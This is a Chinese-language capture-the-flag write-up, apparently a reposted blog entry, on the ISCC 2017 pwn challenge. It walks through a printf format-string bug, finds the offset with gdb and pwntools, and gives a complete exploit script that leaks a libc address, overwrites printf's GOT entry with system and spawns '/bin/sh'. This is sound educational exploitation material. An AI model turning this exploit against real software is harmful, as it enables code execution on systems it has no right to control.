iscc2017 pwn

来源:互联网 发布:无人机遥控软件 编辑:程序博客网 时间:2024/06/05 22:57

  这是一道字符串格式化漏洞的题目,给了libc,直接字符串格式化漏洞泄露出地址,就可以算出system的地址,最后再写got表就行了

伪代码

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  int v3; // [sp+14h] [bp-6Ch]@3  int v4; // [sp+18h] [bp-68h]@5  int v5; // [sp+7Ch] [bp-4h]@1  v5 = *MK_FP(__GS__, 20);  setbuf(stdout, 0);  while ( 1 )  {    introduce();    do      __isoc99_scanf("%d", &v3);    while ( (char *)(char)getchar() == "\n" );    if ( v3 == 1 )    {      puts("please input your name:");      gets((char *)&v4);      printf((const char *)&v4);      puts(",you are welcome!");    }    else if ( v3 == 2 )    {      puts("nothing!!!!lol");    }    else    {      puts("please,don't trick me");    }  }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

最初一看,以为是缓冲区溢出,一直循环没返回啊,不是缓冲区溢出。

原来输入直接传到了printf那里,可以利用字符串格式化漏洞

漏洞利用

计算偏移方法1

我们先看看printf的偏移,输入AAAA调试一下

gdb-peda$ b *0x08048618 Breakpoint 1 at 0x8048618gdb-peda$ rStarting program: /root/Desktop/iscc/pwn1 ++++Welcome to ziiiro's class!++++now you can do something:1.get your name2.heiheiheiplz input$1please input your name:AAAA[----------------------------------registers-----------------------------------]EAX: 0xffffd618 ("AAAA")EBX: 0x0 ECX: 0xfbad2288 EDX: 0xf7fb087c --> 0x0 ESI: 0x1 EDI: 0xf7faf000 --> 0x1b2db0 EBP: 0xffffd688 --> 0x0 ESP: 0xffffd600 --> 0xffffd618 ("AAAA")EIP: 0x8048618 (<main+135>: call   0x80483e0 <printf@plt>)EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]   0x804860c <main+123>:    call   0x80483f0 <gets@plt>   0x8048611 <main+128>:    lea    eax,[esp+0x18]   0x8048615 <main+132>:    mov    DWORD PTR [esp],eax=> 0x8048618 <main+135>:    call   0x80483e0 <printf@plt>   0x804861d <main+140>:    mov    DWORD PTR [esp],0x8048772   0x8048624 <main+147>:    call   0x8048410 <puts@plt>   0x8048629 <main+152>:    jmp    0x8048653 <main+194>   0x804862b <main+154>:    mov    eax,DWORD PTR [esp+0x14]Guessed arguments:arg[0]: 0xffffd618 ("AAAA")[------------------------------------stack-------------------------------------]0000| 0xffffd600 --> 0xffffd618 ("AAAA")0004| 0xffffd604 --> 0xffffd614 --> 0x1 0008| 0xffffd608 --> 0xc30000 0012| 0xffffd60c --> 0xffffd724 --> 0xffffd848 ("/root/Desktop/iscc/pwn1")0016| 0xffffd610 --> 0xaffd000 0020| 0xffffd614 --> 0x1 0024| 0xffffd618 ("AAAA")0028| 0xffffd61c --> 0x8048200 --> 0x1a [------------------------------------------------------------------------------]Legend: code, data, rodata, valueBreakpoint 1, 0x08048618 in main ()gdb-peda$ 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49

我们看栈就行,我们看到我们可控的局部变量是printf的第7个参数,除去第一个格式化字符,就是偏移是6的位置

[------------------------------------stack-------------------------------------]0000| 0xffffd600 --> 0xffffd618 ("AAAA")0004| 0xffffd604 --> 0xffffd614 --> 0x1 0008| 0xffffd608 --> 0xc30000 0012| 0xffffd60c --> 0xffffd724 --> 0xffffd848 ("/root/Desktop/iscc/pwn1")0016| 0xffffd610 --> 0xaffd000 0020| 0xffffd614 --> 0x1 0024| 0xffffd618 ("AAAA")0028| 0xffffd61c --> 0x8048200 --> 0x1a
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

计算偏移方法2

当然pwntools牛逼得很,直接可以算出来

# -*- coding: utf-8 -*-from pwn import *def getoffset(payload):    p = process("./pwn1")    p.recvuntil("input$")    p.sendline('1')    p.recvuntil('please input your name:\n')    p.sendline(payload)    info = p.recvuntil(",you")[:-4]    p.close()    return infoautofmt = FmtStr(getoffset)print autofmt.offset
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

运行结果

root@kali:~/Desktop/iscc# python getoffset.py [+] Starting local process './pwn1': pid 1918[*] Stopped process './pwn1' (pid 1918)[+] Starting local process './pwn1': pid 1920[*] Stopped process './pwn1' (pid 1920)[+] Starting local process './pwn1': pid 1922[*] Stopped process './pwn1' (pid 1922)[+] Starting local process './pwn1': pid 1924[*] Stopped process './pwn1' (pid 1924)[+] Starting local process './pwn1': pid 1926[*] Stopped process './pwn1' (pid 1926)[+] Starting local process './pwn1': pid 1928[*] Stopped process './pwn1' (pid 1928)[*] Found format string offset: 66
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

泄露printf的地址

当然也可以泄露gets,puts的地址

p.recvuntil("input$")p.sendline('1')p.recvuntil('please input your name:\n')payload = p32(got_printf) + "%6$s"#print repr(payload)p.sendline(payload)printf_addr_and_xxx = p.recvuntil(",you")printf_addr = u32(printf_addr_and_xxx[4:8])print "printf_addr = " + hex(printf_addr)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

算出system的地址

libc = ELF('./libc32.so')......system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])print "system_addr = " + hex(system_addr)
  • 1
  • 2
  • 3
  • 4
  • 1
  • 2
  • 3
  • 4

改写printf的got表

利用gets函数传入/bin/sh,最终执行system(‘/bin/sh’)

p.recvuntil("input$")p.sendline('1')p.recvuntil('please input your name:\n')payload2 = fmtstr_payload(6, {got_printf: system_addr})  p.sendline(payload2)p.sendline('1')p.recvuntil('please input your name:\n')p.sendline('/bin/sh\0')
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

最终exp

from pwn import *#context.log_level = 'debug'libc = ELF('./libc32.so')elf = ELF("./pwn1")got_printf = elf.got['printf']#print hex(got_printf)p = process("./pwn1")#p = remote("127.0.0.1", 10001)p.recvuntil("input$")p.sendline('1')p.recvuntil('please input your name:\n')payload = p32(got_printf) + "%6$s"p.sendline(payload)printf_addr_and_xxx = p.recvuntil(",you")printf_addr = u32(printf_addr_and_xxx[4:8])print "printf_addr = " + hex(printf_addr)system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])print "system_addr = " + hex(system_addr)p.recvuntil("input$")p.sendline('1')p.recvuntil('please input your name:\n')payload2 = fmtstr_payload(6, {got_printf: system_addr})  p.sendline(payload2)p.sendline('1')p.recvuntil('please input your name:\n')p.sendline('/bin/sh\0')p.interactive()